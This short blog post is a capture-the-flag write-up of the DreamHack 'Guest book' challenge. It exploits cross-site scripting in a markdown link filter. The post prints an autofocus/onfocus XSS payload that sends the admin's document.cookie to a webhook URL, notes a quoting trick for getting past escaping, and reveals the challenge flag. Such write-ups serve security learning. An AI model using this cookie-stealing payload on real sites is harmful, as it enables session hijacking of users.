108 words
1 minute
DreamHack - [Guest book challenge writeup]

There is an XSS vulnerability with the markdown link regex replace. When send the link to the admin, the <a> tag is not automatically clicked. So I did a Google search with <a> tag auto click vulnerability, and found this link.

It recommends the payload

<a href="#" autofocus="true" onfocus="alert('xss')">hello world!</a>

using autofocus and onfocus.

So we craft a similar payload.

[uia](javascript:location.href=`{webhook_url}?leak=`+document.cookie' autofocus='true' onfocus='location.href=this.href')

Remember to wrap the autofocus and onfocus with single quote, double quote is html escaped. I don’t know why but the most likely reason is due to php version < 8.1.0, read in the Changelog section in php-htmlentities.

Send the payload to the report section and we get the flag.

🚩 FLAG: DH{26763025e32e6b24fedfc3206054d6a7}

DreamHack - [Guest book challenge writeup]
https://minhi1.github.io/minhi1-blogs/posts/dreamhack/level-5/guest-book/
Author
Minhi1
Published at
2025-12-25
License
CC BY-NC-SA 4.0